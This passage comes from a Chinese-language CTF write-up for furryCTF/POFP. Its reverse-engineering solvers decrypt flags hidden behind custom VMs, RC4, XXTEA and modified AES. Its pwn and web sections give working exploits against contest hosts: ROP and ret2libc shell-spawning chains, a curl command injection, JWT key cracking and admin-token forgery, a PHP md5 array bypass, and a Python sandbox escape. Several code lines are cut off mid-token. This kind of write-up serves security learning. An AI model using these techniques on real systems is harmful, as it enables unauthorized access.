        L, bits = char_bits[c]
        if pos+L <= len(binary) and binary[pos:pos+L]==bits:
            cur.append(c)
            out.extend(backtrack(pos+L, cur))
            cur.pop()
    return out
for s in backtrack(0, []):
    if s.startswith('furryCTF{') and s.endswith('}'): print(s)
```

---

nosystem

题目类型: PWN / ROP
Flag: `furryCTF{5a01e2a909f3_weICOme_tO_Pwn_StaCK_Sy5TEm_NWn}`
靶机: ctf.furryctf.com:32940

题目分析

- `scanf("%[^\n]%*c", buffer)` 无长度限制，buffer 64 字节，可栈溢出
- 无 PIE、无 canary，NX 开启
- 程序无 system、无完整 `/bin/sh\0`（只有 `/bin/sh?`）
- Passcheck 中有 `mov rax, r14; mov rdx, r15; ret`，可控制 syscall 号与第三参数

利用思路

1. **Stage1**：ROP 调用 read(0, bss_buf, size)，写入 `/bin/sh\0` 和 Stage2 ROP
2. **leave;ret 利用**：syscall 后是 leave;ret，设置 rbp=bss_buf，则 ret 跳到 [bss_buf+8]
3. **Stage2**：在 bss 布置 execve(bss_buf, 0, 0) 的 ROP（rdi="/bin/sh", rsi=0, rdx=0, rax=59）

Exp

```
from pwn import *
context.arch = 'amd64'
p = remote("ctf.furryctf.com", 32940)
pop_rdi, pop_rsi_r15, pop_r14_r15 = 0x401353, 0x401351, 0x401350
pop_rbp, mov_rax, syscall_gadget = 0x40113d, 0x40116e, 0x401231
bss_buf, offset = 0x404080, 72

read_data = b"/bin/sh\x00" + p64(pop_r14_r15) + p64(59) + p64(0) + p64(pop_rdi) + p64(bss_buf) + p64(pop_rsi_
stage1 = flat(pop_r14_r15, 0, len(read_data), pop_rdi, 0, pop_rsi_r15, bss_buf, len(read_data), pop_rbp, bss_
p.sendline(b'A'*offset + stage1)
p.send(read_data)
p.sendline(b"cat flag")
p.interactive()
```

---

post

题目类型: PWN / 命令注入
Flag: `POFP{a8d02074-7724-41b0-a4b2-5346d97516e5}`
靶机: ctf.furryctf.com:35284

题目分析

C++ 简易 HTTP 服务器：解析 POST 请求，取 `\r\n\r\n` 后的 body，直接 `popen(body, "r")` 执行，无任何过滤。

解题步骤

1. 构造合法 HTTP POST 请求
2. body 填 `cat /flag` 或任意命令
3. 服务器执行并返回命令输出

Exp

```
curl -X POST -d 'cat /flag' http://ctf.furryctf.com:35284/
```

```
from pwn import *
io = remote("ctf.furryctf.com", 35284)
payload = "POST / HTTP/1.1\r\nHost: ctf.furryctf.com:35284\r\nContent-Length: 9\r\n\r\ncat /flag"
io.send(payload.encode())
print(io.recvall().decode())
```

ret2vdso

题目类型: PWN / ret2libc
Flag: `POFP{d6fa9e39-ef83-405a-8b47-8beaf7539034}`
靶机: ctf.furryctf.com:33845

题目分析

32 位 ELF，read(0, buf, 0x400)，buf 在 ebp-0x10c，溢出 272 字节可覆盖返回地址。程序有 `/bin/sh` 字符串。用 libc.rip 根据泄露的 read 低 12 位识别 libc：`libc6_2.39-0ubuntu8.6_i386`。

解题步骤

1. **Stage1**：ROP 调用 write(1, got_read, 4) 泄露 read 地址，返回到 pwnme 再次读入
2. **计算**：libc_base = read_addr - 0x116980，system = base + 0x50430，binsh = base + 0x1c4de8
3. **Stage2**：ROP 调用 system("/bin/sh")

Exp

```
from pwn import *

context.arch = "i386"
elf = ELF("./ret2vdso_x32")
write_plt, pwnme, got_read = elf.plt["write"], elf.symbols["pwnme"], elf.got["read"]
READ_OFFSET, SYSTEM_OFFSET, BINSH_OFFSET = 0x116980, 0x50430, 0x1c4de8
offset = 0x10c + 4

p = remote("ctf.furryctf.com", 33845)
p.recvuntil(b"> ")
p.send(b"A"*offset + p32(write_plt) + p32(pwnme) + p32(1) + p32(got_read) + p32(4))
read_addr = u32(p.recv(4))
libc_base = read_addr - READ_OFFSET
p.recvuntil(b"> ")
p.send(b"B"*offset + p32(libc_base+SYSTEM_OFFSET) + p32(0) + p32(libc_base+BINSH_OFFSET))
p.interactive()
```

EZ_VM

题目类型: RE / 自定义 VM
Flag: `POFP{317a614304}`
文件: EZ_VM.exe (Windows x64)

题目分析

程序分配 17 字节存假 flag `POFP{327a6c4304}`，执行 VM 变换后与用户输入比较。IDA 字符串可见 "input the flag:"、"right flag!"、"wrong flag!"。

VM 字节码

从 main 中提取字节码（小端序）：

```
0x10 0x25 0x32 0x3A | 0x0B 0x25 0x63 0x3A | 0x0B 0x66 0x0D 0x41 0x31 0x55 0x66 0x00 | 0xFF
```

指令集

Opcode	功能
0x10	READ - 读 v5[ptr] 到 v9
0x25	CMP v9, imm - 比较并设 v7
0x3A	JEQ off - v7 为真则跳转
0x41	WRITE imm - 写 imm 到 v5[ptr]
0x55	INC_PTR - ptr++
0x66	JMP off - 无条件跳转

反汇编逻辑

```
0x00 READ; 0x01 CMP 0x32('2'); 0x03 JEQ 0x0B
0x05 CMP 0x63('c'); 0x07 JEQ 0x0B
0x09 JMP 0x0D
0x0B WRITE 0x31('1')   ; 相等时写入'1'
0x0D INC_PTR; 0x0E JMP 0x00
```

核心变换

```
def vm_transform(s):
    result = list(s)
    for i in range(len(result)):
        if result[i] == '2' or result[i] == 'c':
            result[i] = '1'
    return ''.join(result)
```

Exp

```
original = "POFP{327a6c4304}"
flag = original.replace('2', '1').replace('c', '1')
print(flag)  # POFP{317a614304}
```

RRRacket

题目类型: RE / Racket + RC4
Flag: `POFP{Racket_and_rc4_you_know!}`

题目分析

附件 `chall.zo` 为 Racket 编程语言编译字节码（基于 Chez Scheme），文件头含 `#~`、`9.0`、`ta6nt` 等标识。题目为「新型编程语言」提示。

解题步骤

1. 用 `strings chall.zo` 提取可读字符串
2. 找到 `Input flag:`、`Correct!`、`Wrong!`、`rc4-bytes`、`KEY-STR`、`TARGET-HEX`
3. 提取密钥 `pofpkey`、目标密文 hex `d31fa2c26c024feddef9b38853790c00285e367b916d49a111bfc2bcfb74`
4. 程序逻辑：`RC4(输入, "pofpkey")` → hex → 与目标比较，RC4 对称故用同密钥「加密」目标即解密

Exp

```
function rc4(key, data) {
    const S = Array.from({length: 256}, (_, i) => i);
    let j = 0;
    for (let i = 0; i < 256; i++) {
        j = (j + S[i] + key[i % key.length]) % 256;
        [S[i], S[j]] = [S[j], S[i]];
    }
    let i = 0; j = 0;
    const result = [];
    for (const byte of data) {
        i = (i + 1) % 256; j = (j + S[i]) % 256;
        [S[i], S[j]] = [S[j], S[i]];
        result.push(byte ^ S[(S[i] + S[j]) % 256]);
    }
    return Buffer.from(result);
}
const key = Buffer.from('pofpkey');
const ciphertext = Buffer.from('d31fa2c26c024feddef9b38853790c00285e367b916d49a111bfc2bcfb74', 'hex');
console.log(rc4(key, ciphertext).toString());
```

TimeManager

题目类型: RE / 时间相关加密
Flag: `furryCTF{y0U_kn0W_h0W_t0_h4ndl3_ur_t1m3}`
文件: TimeManager (Linux ELF 64-bit)

题目分析

程序输出 "Just wait 3 hours" 后循环 10800 次（3×3600），每次 sleep(1)、检查时间防改、`srand(v7+dword_6043-v6)`、`cipher[i%128]^=rand()`、`cipher[i%17]^=rand()`。dword_6043=0xbeaddeef。种子与 v6 无关：seed = 0xbeaddeef + i + 1。

关键点

- **平台依赖**：必须用 Linux glibc 的 rand()，Windows/其他实现结果不同
- **逆向方式**：模拟 10800 次循环，用 ctypes 调 libc.srand/rand

Exp

```
import ctypes
cipher = [33, 113, 216, 237, 221, 169, 203, 2, 251, 62, 119, 223, 150, 109, 109, 41,
          105, 207, 220, 193, 234, 190, 35, 170, 29, 228, 37, 212, 157, 58, 138, 80,
          202, 214, 134, 72, 33, 251, 213, 117, 68, 73, 99, 27, 48, 184, 24, 57, 34,
          178, 67, 200, 130, 6, 220, 29, 136, 191, 26, 184, 12, 251, 84, 201, 87, 122,
          179, 221, 148, 112, 6, 173, 65, 143, 19, 123, 102, 49, 144, 247, 236, 220,
          183, 232, 196, 96, 60, 105, 189, 216, 142, 155, 171, 160, 80, 7, 205, 64,
          124, 254, 48, 242, 202, 69, 226, 83, 125, 25, 216, 22, 121, 189, 71, 211,
          147, 51, 205, 203, 212, 202, 222, 56, 181, 197, 54, 255, 163, 135]
libc = ctypes.CDLL('libc.so.6')
decrypted = list(cipher)
for i in range(10800):
    libc.srand(0xbeaddeef + i + 1)
    decrypted[i % 128] ^= libc.rand() & 0xFF
    decrypted[i % 17] ^= libc.rand() & 0xFF
print(''.join(chr(b) for b in decrypted if 32 <= b < 127))
```

未来程序

题目类型: RE / 字符串重写系统（Thue）
Flag: `furryCTF{This_Is_Tu7ing_C0mple7es_Charm_nwn}`

题目文件

```
Encoder/
├── Encoder.txt      # 重写规则 + Output 结果
└── Interpreter.cpp  # 字符串重写解释器
```

解释器分析

Interpreter.cpp 实现 **Thue 风格字符串重写系统**（类 Markov 算法），图灵完备。规则格式 `a=b`，支持修饰符：

- `(start)` / `(end)`：左侧表示只匹配开头/结尾，右侧表示替换结果放开头/结尾
- `(once)`：规则只执行一次
- `(return)`：匹配成功则输出 b 并退出

执行：从规则 1 开始依次尝试，匹配则替换并从规则 1 重试，直至无变化。

规则分析（Encoder.txt）

规则	功能
1-2	初始化：添加 x 串、`|`
3-5	编码：`x1→211*`、`x0→200*`、`x+→2++*` 到末尾
6-9	解码：从末尾提取到开头
10-15	清理：删除 x、2、y
16	**关键：`(once)+=-` 将第一个 `+` 变为 `-`**
17-24	二进制加法（`+1→ta+`、`at→taa` 等）
25-31	二进制减法（`-1→qb-`、`bq→qbb` 等）
32	删除前导零
34	输出：`Output=...`

核心逻辑

输入形如 `A+B`（A、B 为二进制表示）。规则 16 把 `+` 变成 `-`，随后执行减法得 `A-B`，加法得 `A+B`。最终输出 `(A-B)|(A+B)`，即 `n1|n2`。

数学反推

已知 n1=A-B、n2=A+B，则：

- **A = (n1 + n2) / 2**
- **B = (n2 - n1) / 2**

A、B 的十六进制即为 flag 的两段 ASCII。

输出格式

```
Output=n1|n2
```

n1、n2 为二进制串，用 `|` 分隔。需转整数后反推 A、B，再 hex→ASCII。

Exp

```python
bin1 = '1100110011101010001001100101111010010001101010111100011110110100001011000011101000000101111011000010101
bin2 = '0110011001110101110100011011010110101001101100001100010010110010111000001000101111001101110111001101010

n1, n2 = int(bin1, 2), int(bin2, 2)
A, B = (n1 + n2) // 2, (n2 - n1) // 2

def hex_to_ascii(n):
    h = hex(n)[2:]
    if len(h) % 2: h = '0' + h
    return bytes.fromhex(h).decode()

flag = hex_to_ascii(A) + hex_to_ascii(B)
print(flag)  # furryCTF{This_Is_Tu7ing_C0mple7es_Charm_nwn}
```

Flag 中 `Tu7ing_C0mple7es` 即 "Turing Completes"，对应 Thue 系统的图灵完备性。

---

v&mmmmmm

题目类型: RE / VM 逆向
Flag: `furryCTF{VvVVvVVVVVvvMMMmMMMmmm}`

基本信息

64 位 Windows PE，基址 0x140000000。通过字符串定位：

- `"Enter Flag: "` @ 0x140005061
- `"Correct!"` @ 0x140005075
- `"Wrong!"` @ 0x14000506e

主验证函数 sub_140001E3C：检查长度 32 字节 → 调用 sub_1400014A4 加密 → 与 0x140005080 处目标数据比较。

VM 结构（sub_1400014A4）

组件	地址	说明
字节码	0x140004000	约 580 字节
查找表	0x140004260	256 字节
目标密文	0x140005080	32 字节
寄存器	-	r0-r7，8 个 32 位
内存	-	32 字节（存放 flag）
状态字节	-	state1、state2 用于操作码解码

操作码解码

```
decoded_index = bytecode[pc] ^ state2 ^ state1;
opcode = lookup_table[decoded_index];
state2 = bytecode[pc];
state1 = 7 * (state1 + opcode + 1) & 0xFF;
```

主要指令

Opcode	功能
1	reg[r8] = imm
2	reg[r8] = reg[op2]
3	reg[r8] = mem[reg[op2]]
4	mem[reg[r8]] = reg[op2]
5	reg[r8] += reg[op2]
6	reg[r8] ^= reg[op2]
14	reg[r8] += imm
15	reg[r8] ^= imm

加密算法

通过 VM 指令追踪，实际为**链式 XOR-Add 加密**（r3 为累加器，初值 0xAA）：

```
r3 = 0xAA
for i in range(32):
    tmp = (input[i] ^ r3) + (i + 1)
    output[i] = tmp & 0xFF
    r3 = (r3 + tmp) & 0xFFFFFFFF
```

每个输出字节依赖前序累积状态，故需按序逐字节解密。

目标密文

```
CD 04 0C F9 FE 23 DC 23 E4 DC 21 E3 3F E3 DF 43
0F F3 0F E3 FF EC E1 3D E1 E5 41 FD E1 05 01 0D
```

解密逻辑

已知 output[i]、r3，求 input[i]。由 `output[i] = ((input[i]^r3)+(i+1)) & 0xFF`，对 input[i] 在 0–255 内爆破，使 `(b^r3)+(i+1)` 的低 8 位等于 output[i]，然后用完整 tmp 更新 r3。

Exp

```
target = bytes([0xcd, 0x04, 0x0c, 0xf9, 0xfe, 0x23, 0xdc, 0x23, 0xe4, 0xdc, 0x21, 0xe3, 0x3f, 0xe3, 0xdf, 0x4

def decrypt(ciphertext):
    flag, r3 = bytearray(32), 0xAA
    for i in range(32):
        for b in range(256):
            tmp = (b ^ r3) + (i + 1)
```

```
            if (tmp & 0xFF) == ciphertext[i]:
                flag[i] = b
                r3 = (r3 + tmp) & 0xFFFFFFFF
                break
    return bytes(flag)

print(decrypt(target).decode())  # furryCTF{VvVVvVVVVVvvMMMmMMMmmm}
```

Flag 内容与题名「v&mmmmmm」对应，为大写 V、小写 v 与 M 的组合。

深渊密令

题目类型: RE / VM + AES
Flag: `POFP{ABYSSAL_VM_DISPATCH_SMT_LIFT_7C3D1B9A}`
文件: Linux x86-64 ELF

程序流程

```
ptrace 反调试 → CRC32 校验(787B) → 读 32 字符密码 → VM 验证 → SHA-256 派生 → AES-128-CTR 解密
```

反调试：若检测到调试器则输出假 flag。需 patch 或 LD_PRELOAD 绕过。

关键数据与地址

地址	内容	大小	加密
0x403060	VM 字节码	787B	XorShift(种子 2709208209)
0x403A70	目标哈希	32B	XorShift(种子 489570112)
0x403620	S-Box 查找表	256B	明文
0x403378	加密 Flag	43B	明文
0x403A90	AES IV	16B	明文

XorShift 解密

```
def xorshift_decrypt(data, seed):
    result = bytearray(data)
    state = seed
    for i in range(len(result)):
        state ^= (state << 13) & 0xFFFFFFFF
        state ^= state >> 17
        state ^= (state << 5) & 0xFFFFFFFF
        result[i] ^= state & 0xFF
    return bytes(result)
```

目标哈希解密后：`c8581fd9a964d01e1045dfdf01e7ac2d0b6bcb4af83e0b1a83199674547f3907`

VM 指令集

操作码	指令	说明
0	NOP	pc += 1

操作码	指令	说明
1	MOV reg imm	reg = imm
2	LOAD reg addr	reg = mem[addr]
3	STORE reg addr	mem[addr] = reg
4	ADD reg imm	reg = (reg + imm) & 0xFF
5	XOR reg imm	reg ^= imm
6	ROL reg imm	reg = ROL8(reg, imm)
7	LOOKUP reg	reg = lookup_table[reg]
8	MUL reg imm	reg = (reg * imm) & 0xFF
9	ADD_REG r1 r2	r1 = (r1 + r2) & 0xFF
10	JNZ reg off	条件跳转
11	JMP off	无条件跳转

mem[0:31] 存输入，mem[128:159] 存输出哈希。

VM 变换公式

每字节独立处理：

```
output[i] = (LOOKUP[ROL8((input[i]+add1)^xor_val, rol_bits)] * mul_val + add2) & 0xFF
```

示例字节 0 的指令：LOAD r0,mem[0] → ADD r0,229 → XOR r0,209 → ROL r0,5 → LOOKUP r0 → MUL r0,91 → ADD r0,167 → STORE r0,mem[128]

逆向变换

```
def reverse_transform(target, add1, xor_val, rol, mul, add2):
    val = (target - add2) & 0xFF
    val = (val * mod_inverse(mul, 256)) & 0xFF
    val = lookup_inverse[val]
    val = ror8(val, rol)
    val = val ^ xor_val
    return (val - add1) & 0xFF
```

完整解题步骤

1. XorShift 解密 VM 字节码与目标哈希
2. 从 VM 字节码提取 32 组 (add1,xor,rol,mul,add2)
3. 对 target_hash[i] 做 reverse_transform 得 password
4. aes_key = SHA256(password + b"pofp_salt_2026")[:16]
5. AES.new(aes_key, MODE_CTR, nonce=b'', initial_value=AES_IV).decrypt(encrypted_flag)

Exp（核心逻辑）

```
from Crypto.Cipher import AES
import hashlib

lookup_table = bytes([0xfa, 0xa3, 0x4f, ...])  # 256字节，从IDA提取
lookup_inverse = [-1]*256
for i,v in enumerate(lookup_table): lookup_inverse[v] = i

target_hash = bytes.fromhex("c8581fd9a964d01e1045dfdf01e7ac2d0b6bcb4af83e0b1a83199674547f3907")
encrypted_flag = bytes([0x39,0x27,...])  # 43字节
AES_IV = bytes([0x1b,0x0b,0xf9,0xce,...])
params = [(229,209,5,91,167), (234,91,2,245,87), ...]  # 32组

def mod_inverse(a, m=256):
    for x in range(1, m):
        if (a*x) % m == 1: return x
    return None
def ror8(val, n): return ((val >> n) | (val << (8-n))) & 0xFF

password = bytes(reverse_transform(target_hash[i], *params[i]) for i in range(32))
aes_key = hashlib.sha256(password + b"pofp_salt_2026").digest()[:16]
flag = AES.new(aes_key, AES.MODE_CTR, nonce=b'', initial_value=AES_IV).decrypt(encrypted_flag)
print(flag.decode())
```

---

babyKN

题目类型: RE / Android Native (Kotlin/Native)
Flag: `POFP{K0tl1n_3v3rywh3r3_fr0m_Jv4v_t0_n4t1v3}`

题目分析

题目暗示「APK 却在 Reverse」：核心在 native 层。jadx 看 MainActivity，`a4(String)` 为验证函数，System.loadLibrary("knlib")。用 IDA 分析 libknlib.so (x86_64)。

验证流程

a4 → sub_94B70 → sub_8D110：获取输入 → sub_8B1D0 预处理（填充+转 uint32）→ sub_8BAD0 加密 → sub_8CA30 转字节 → 与密文比较。

算法识别

sub_8BAD0 特征：`52/n+6` 轮、delta=0x114514、移位 z>>5, y<<2, y>>3, z<<4 → **XXTEA**，自定义 delta。

提取数据

- 密钥：0xdeadbeef, 0x87654321, 0x12345678, 0xcafebabe
- 密文：44 字节（11×uint32 小端）

Exp

```
import struct
def xxtea_decrypt(v, k, delta=0x114514):
    n = len(v)
    rounds = 6 + 52 // n
    sum_val = (rounds * delta) & 0xFFFFFFFF
    y = v[0]
    while rounds > 0:
        e = (sum_val >> 2) & 3
        for p in range(n - 1, 0, -1):
            z = v[p - 1]
            mx = (((z>>5)^(y<<2))+((y>>3)^(z<<4)))^((sum_val^y)+(k[(p&3)^e]^z))
```

```
            v[p] = (v[p] - mx) & 0xFFFFFFFF
            y = v[p]
        z = v[n-1]
        mx = (((z>>5)^(y<<2))+((y>>3)^(z<<4)))^((sum_val^y)+(k[e]^z))
        v[0] = (v[0] - mx) & 0xFFFFFFFF
        y = v[0]
        sum_val = (sum_val - delta) & 0xFFFFFFFF
        rounds -= 1
    return v
cipher_bytes = bytes([0x72,0xfa,0x5a,0xe8,0xea,0x45,0xeb,0x00,0x93,0x74,0x7f,0xc9,0x64,0x59,0x03,0xda,0x78,0x
key = [0xdeadbeef, 0x87654321, 0x12345678, 0xcafebabe]
v = list(struct.unpack('<' + 'I'*11, cipher_bytes))
dec = xxtea_decrypt(v, key)
dec_bytes = struct.pack('<' + 'I'*11, *dec)
plaintext = dec_bytes[:-dec_bytes[-1]].decode()
print(plaintext)
```

分组密码

题目类型: RE / 魔改 AES
Flag: `POFPCTF{3c55d6342a6b15f13b55747}`
文件: Project1.exe (32 位 PE)

格式检查

长度≥32，前 8 字节 "POFPCTF{"，末字节 "}"。Buffer 存输入，v40 为去掉换行后的指针。

关键数据提取（文件偏移）

偏移	内容	说明
0x1b58	S-box	256 字节，sbox[0x01]=0x1e（标准为 0x7c）
0x1c58	RCON	16 字节，与标准不同
0x1c70	期望密文	32 字节

```
with open("Project1.exe","rb") as f: data=f.read()
sbox = list(data[0x1b58:0x1b58+256])
rcon = list(data[0x1c58:0x1c58+16])
ciphertext = list(data[0x1c70:0x1c70+32])
```

密钥常量（从 main 汇编提取，小端）

```
init_key = [0x3a,0xf1,0x8c,0x27,0xd4,0x9b,0x60,0xe2,0x11,0x5d,0xa7,0xc3,0x7f,0x09,0xb8,0x4e]
round_base = [0x01,0x22,0x02,0xf3,0x44,0xf5,0xe6,0xf7,0xa8,0xb9,0x0a,0x0b,0xac,0xcd,0xee,0xff]
```

算法差异

组件	标准 AES	本题
S-box	标准	sbox[0x01]=0x1e
RCON	01,02,04,…	07,09,12,04,…
ShiftRows 行3	左移 3	**右移 1 + 位置 7 处 XOR 0x66**

组件	标准 AES	本题
轮密钥偏移	16,32,…	**实际为 16**（反编译显示 18 需看汇编）

加密流程（sub_4010B0）

1. AddRoundKey(state, keys[0:16])
2. 9 轮：SubBytes → ShiftRows（行3 含 XOR 0x66）→ MixColumns → AddRoundKey
3. 最终轮：SubBytes → ShiftRows → AddRoundKey(keys[160:176])

逆 ShiftRows 要点

行3 正向：右移 1 且 s[7]=old_s[3]^0x66。逆向时需先恢复：`s[3] = s[7] ^ 0x66`，再左移 1。

CBC 解密

- P1 = D(C1) XOR IV
- P2 = D(C2) XOR C1

完整 Exp

```
inv_sbox = [0]*256
for i in range(256): inv_sbox[sbox[i]] = i

def key_expansion():
    keys = list(round_base)
    for i in range(4, 44):
        temp = keys[(i-1)*4:(i-1)*4+4]
        if i % 4 == 0:
            temp = [temp[1],temp[2],temp[3],temp[0]]
            temp = [sbox[b] for b in temp]
            temp[0] ^= rcon[i // 4]
        keys.extend([temp[j]^keys[(i-4)*4+j] for j in range(4)])
    return keys

def inv_shift_rows(state):
    s = list(state)
    t=s[13]; s[13]=s[9]; s[9]=s[5]; s[5]=s[1]; s[1]=t
    t=s[2]; s[2]=s[10]; s[10]=t
    t=s[6]; s[6]=s[14]; s[14]=t
    t=s[3]; s[3]=s[7]^0x66; s[7]=s[11]; s[11]=s[15]; s[15]=t
    return s

def inv_mix_column(col):
    def mult(a,b):
        p=0
        for _ in range(8):
            if b&1: p^=a
            hi=a&0x80
            a=(a<<1)&0xff
            if hi: a^=0x1b
            b>>=1
        return p
    a,b,c,d=col
    return [mult(0x0e,a)^mult(0x0b,b)^mult(0x0d,c)^mult(0x09,d), ...]

def decrypt_block(ct, keys):
    state = [ct[i]^keys[160+i] for i in range(16)]
    state = inv_shift_rows(state)
    state = [inv_sbox[b] for b in state]
    for r in range(9):
        state = [state[i]^keys[144-r*16+i] for i in range(16)]
        state = [y for col in range(4) for y in inv_mix_column([state[col*4+j] for j in range(4)])]
        state = inv_shift_rows(state)
        state = [inv_sbox[b] for b in state]
    return [state[i]^keys[i] for i in range(16)]
```

```
keys = key_expansion()
ct1, ct2 = ciphertext[:16], ciphertext[16:]
plain1 = [decrypt_block(ct1,keys)[i]^init_key[i] for i in range(16)]
plain2 = [decrypt_block(ct2,keys)[i]^ct1[i] for i in range(16)]
print(bytes(plain1+plain2).decode())
```

VMMM

题目类型: RE / 自定义 VM（RC4 变种 + Bug）
Flag: `furryCTF{OMG_Y0u_Can_R3a11y_Re3}`

文件

- vmmm.exe（UPX 壳）
- program.bin（991B VM 字节码）
- data.bin（4096B 数据）

magic number: `deadbeef`，flag 32 字节。

脱壳

```
upx -d vmmm.exe -o vmmm_unpacked.exe
```

VM 结构

- sub_401BF8：VM 主循环
- sub_40163B：main，加载 program.bin 和 data.bin
- sub_401460：syscall 处理

STB 指令陷阱：`STB [r1], r2` 语法暗示 mem[r1]=r2，实际执行 **mem[r2]=r1**！

data.bin 内存布局

偏移	内容
0x100	Flag 输入缓冲区
0x200	期望值（验证用，32 字节，每 4 字节一单元）
0x300	RC4 密钥 16 字节
0x400	S-box 区域

密钥：`11 45 14 11 45 14 de ad be ef 11 45 14 11 45 14`（"114514" + "deadbeef" 组合）

算法：RC4 变种

VM 实现了类似 RC4 的流程：初始化 S-box → KSA（密钥调度）→ PRGA（伪随机生成）→ 输出与期望比较。

关键 Bug：KSA 中 r9 被污染

KSA 循环中，r9 既存 j 又用于计算 swap 地址。swap 后 r9 被设为 `j*4+0x200400`（地址），下一轮迭代时 r9 不再是 j，导致 j 计算错误。PRGA 中则用 PUSH/POP 保护了 r9，行为与标准 RC4 一致。

标准 KSA：`j = (j + S[i] + key[i%16]) & 0xff`
本题：`j = (S[k] + corrupted_r9 + key[k%16]) & 0xff`，corrupted_r9 为上一轮的地址值截断。

解密逻辑

加密：`output[i] = expected[i] ^ keystream[i]`（expected 在 data[0x200+i*4]）。故 `flag[i] = expected[i] ^ keystream[i]`。

Exp

```
with open('data.bin','rb') as f: data=f.read()
key = list(data[0x300:0x310])

# Buggy KSA
S = list(range(256))
r9 = 0
for k in range(256):
    S_k = S[k]
    r9 = (S_k + r9) & 0xFFFFFFFF
    r9 = (r9 + (key[k&0xf]&0xff)) & 0xFFFFFFFF
    r9 = r9 & 0xff
    j = r9
    S[k], S[j] = S[j], S[k]
    r9 = j * 4 + 0x200400  # 污染

# Standard PRGA
i = j = 0
keystream = []
for _ in range(32):
    i = (i+1) & 0xff
    j = (j + S[i]) & 0xff
    S[i], S[j] = S[j], S[i]
    keystream.append(S[(S[i]+S[j])&0xff])

expected = [data[0x200+i*4] for i in range(32)]
flag = bytes([expected[i] ^ keystream[i] for i in range(32)])
print(flag.decode())
```

XOR

题目类型: RE / Nuitka + 单字节 XOR
Flag: `POFP{r3v3rs1ng_1s_fun!}`

题目分析

XOR.exe 约 3.8MB，strings 可见 NUITKA_ONEFILE_PARENT、NUITKA_ONEFILE_DIRECTORY，确认为 Nuitka onefile 打包。偏移 0x332a3 处有 ZSTD 压缩数据，解压得 script.dll 等。在 script.dll 的 .rsrc 或数据区搜索 "enc_flag"、"Success!" 等，可定位加密字节（23 字节，可能为 Python pickle 格式的列表）。

解题步骤

1. 提取 Nuitka 嵌入的 script.dll（或用工具解包）
2. 在二进制中定位加密的 flag 字节数组
3. 单字节 XOR 爆破：对 key 0–255 逐一解密，检查是否为可打印 ASCII

Exp

```
encrypted = [122, 101, 108, 122, 81, 88, 25, 92, 25, 88, 89, 27, 68, 77, 117, 27, 89, 117, 76, 95, 68, 11, 87
for key in range(256):
    dec = bytes(b ^ key for b in encrypted)
```

```
    if all(32 <= b < 127 for b in dec):
        print(dec.decode())  # POFP{r3v3rs1ng_1s_fun!}
```

Lua

题目类型: RE / Lua 字节码
Flag: `POFP{U_r_Lu4T_M4st3R!}`

题目分析

hello.lua 含自定义 Base64 解码函数 dec()，以及 `load(dec("G0x1YVQAGZMNChoKBA..."))`。解码后得 Lua 5.4 字节码（\x1bLuaT 头）。用 luac -l 或 unluac 分析，字符串常量区有密文格式 `20-30-19-21-9-39-45-0-45-62-7-70-38-45-63-70-1-6-65-32-83-15`（数字用 - 连接，表示 XOR 后的十进制值）。使用的函数：string.byte、string.sub、table.concat，推断为逐字节 XOR。

已知明文

flag 格式 `flag{`，即 f=102,l=108,a=97,g=103,{=123。密文前5个 20,30,19,21,9，则 key = 102^20 = 108^30 = … = 114。

Exp

```
encrypted = [20, 30, 19, 21, 9, 39, 45, 0, 45, 62, 7, 70, 38, 45, 63, 70, 1, 6, 65, 32, 83, 15]
key = 114
print(''.join(chr(c ^ key) for c in encrypted))  # flag{U_r_Lu4T_M4st3R!} -> POFP{U_r_Lu4T_M4st3R!}
```

签到题re

题目类型: RE / 驱动
Flag: `POFP{Welcome_to_POFP!}`

题目分析

Windows 内核驱动题目。驱动在加载（Load）或挂载时，会在调试输出或 DbgPrint 中打印 flag。需在 Windows 下使用 sc/driver loader 或 OSR Loader 等工具加载驱动，或通过 WinDbg 双机调试查看内核输出。

解题步骤

1. 确认题目提供 .sys 等驱动文件
2. 以管理员身份加载驱动（或按要求使用题目提供的加载器）
3. 在加载过程中观察控制台/调试器输出，或查看系统日志

---

admin~

题目类型: Web / JWT
Flag: `furryCTF{JWT_T0k9n_W1th_We6k_Pa5s}`
地址: ctf.furryctf.com:32790
测试账户: user / user123

题目分析

登录后返回 JWT，validate.php 根据 payload 中 user 字段决定返回真假 flag。普通用户得假 flag，需 admin。页面底部「喵呜科技」暗示密钥可能为拼音首字母 `mwkj`（Miao Wu Ke Ji）。

Exp

```
import hmac, hashlib, base64, json, itertools, string

def b64_encode(data):
    return base64.urlsafe_b64encode(json.dumps(data, separators=(',', ':')).encode()).rstrip(b'=').decode()

# 爆破密钥
token = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoidXNlciIsImlhdCI6MTc2OTc3NDA5OSwiZXhwIjoxNzY5Nzc3Njk
parts = token.split('.')
for pwd in (''.join(c) for c in itertools.product(string.ascii_lowercase+string.digits, repeat=4)):
    sig = base64.urlsafe_b64encode(hmac.new(pwd.encode(), (parts[0]+'.'+parts[1]).encode(), hashlib.sha256).d
    if sig == parts[2]: break  # 找到 mwkj

# 伪造 admin token
header = {'typ': 'JWT', 'alg': 'HS256'}
payload = {'user': 'admin', 'iat': 1769774099, 'exp': 1869777699}
msg = b64_encode(header) + '.' + b64_encode(payload)
sig = base64.urlsafe_b64encode(hmac.new(b'mwkj', msg.encode(), hashlib.sha256).digest()).rstrip(b'=').decode(
admin_token = msg + '.' + sig
# curl -X POST ... -d '{"token":"'+admin_token+'"}'
```

---

ezmd5

题目类型: Web / PHP 弱类型
Flag: `POFP{27f6cb9b-1f76-464a-b5d9-bcab7cfc73d9}`
地址: ctf.furryctf.com:33671

题目分析

```
if ($user !== $pass && md5($user) === md5($pass)) {
    echo file_get_contents('/flag');
}
```

强比较 `===`，0e 哈希碰撞无效。但 `md5(array)` 返回 NULL 且产生 Warning（error_reporting(0) 屏蔽），`md5(['a']) === md5(['b'])` 为 NULL===NULL 即 true，`['a'] !== ['b']` 为 true。

Exp

```
curl -X POST "http://ctf.furryctf.com:33671/" -d "user[]=a&pass[]=b"
```

猫猫的复仇

题目类型: Web / Python 沙箱逃逸
Flag: `furryCTF{You_Win_ffcb47d0b-f52b-4e25-be84-d60a494e7c720_qwq}`

题目分析

沙箱：AST 禁止 import、eval、open、**globals** 等；字符串黑名单会替换掉这些词。但 `chr()` 在运行时拼接出 `__globals__`，源码中无该串，故不会被替换。`"{0.__globals__}".format(func)` 可访问函数的全局命名空间，其中含 `flag_content`（wrapper 中定义，safe_exec 内用空串遮蔽）。定义空函数 d，`"{0."+g+"}".format(d)` 即访问 d.**globals**。

Exp

```python
